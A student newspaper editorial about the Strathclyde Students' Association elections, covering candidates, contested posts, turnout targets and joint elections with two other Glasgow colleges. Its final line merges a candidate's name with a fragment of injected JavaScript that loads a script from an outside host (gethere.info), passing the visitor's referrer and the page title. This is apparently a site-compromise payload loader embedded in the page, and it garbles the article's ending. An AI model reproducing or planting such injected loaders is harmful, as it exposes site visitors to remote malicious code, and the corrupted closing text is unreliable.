Silja Slepnjov, Editor-in-Chief
It’s that time of the year again – the lifts are flooded with posters, flyers are thrown at you from every possible direction and manifestos are recited hourly around campus. On Friday, this will all culminate in a new Union executive, who will be in charge of the strategies and decisions our Union will make next year. Eleven candidates hope to take up one of the positions for the next academic year that will see them represent a student body of almost 20,000.
Last year, all positions were contested and the voter turnout increased from 12% to 16%. This year, most positions are contested: there are two candidates for President, three for Vice President Activities and Development, three for Vice President Diversity and Advocacy and two for Vice President Sports and Wellbeing. The position of Vice President of Education is uncontested, apart from the option to vote RON (Re-Open Nominations). It is quite noteworthy that three of the four current Vice Presidents are re-running for another term.
For the first time ever, three Unions – Strathclyde, Glasgow Caledonian and City of Glasgow College – have united forces and are running parallel elections for the entire week, in the hopes that this will increase voter turnout. And indeed, the University of Strathclyde’s Students Association needs all the help it can get. This year’s ambitious goal is to achieve a 30% voter turnout, the highest in Scotland. The fact that ERASMUS and exchange students are now eligible to vote is expected to contribute to achieving a historic participation in student elections. The Union has received a lot of good press for its widening access campaign Strathguides and the Independence debates, having been deemed as ‘relevant’ and ‘on spot’ for engaging students in Union activities. Whether the ‘bigger and better’ elections and more engaging campaigns have defeated the plague of student apathy that has dominated the previous elections is yet to be seen.
You can vote online at pegasus.strath.ac.uk. Polling stays open until 5pm Friday, March 7th.
To get a better idea of how the candidates plan to affect student lives and what they would do as your representatives, I caught up with all of them and asked them three simple questions that would hopefully reveal more than the buzzwords on the manifestos blossoming around campus. Follow the links below to read interviews with candidates for each of the positions:
Vice-President Sports and Wellbeing: Mairi MacVicar and James Reids.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;